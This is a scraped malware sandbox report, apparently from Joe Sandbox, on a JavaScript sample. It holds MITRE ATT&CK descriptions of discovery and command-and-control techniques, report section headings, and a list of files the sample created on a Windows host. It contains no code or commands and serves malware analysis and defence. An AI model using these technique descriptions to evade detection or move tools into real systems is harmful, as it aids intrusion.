Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 187837506181165315.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f6a13a18-ec1e-4ea9-bac4-10b7c439eec6.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5292

Windows Analysis Report
187837506181165315.js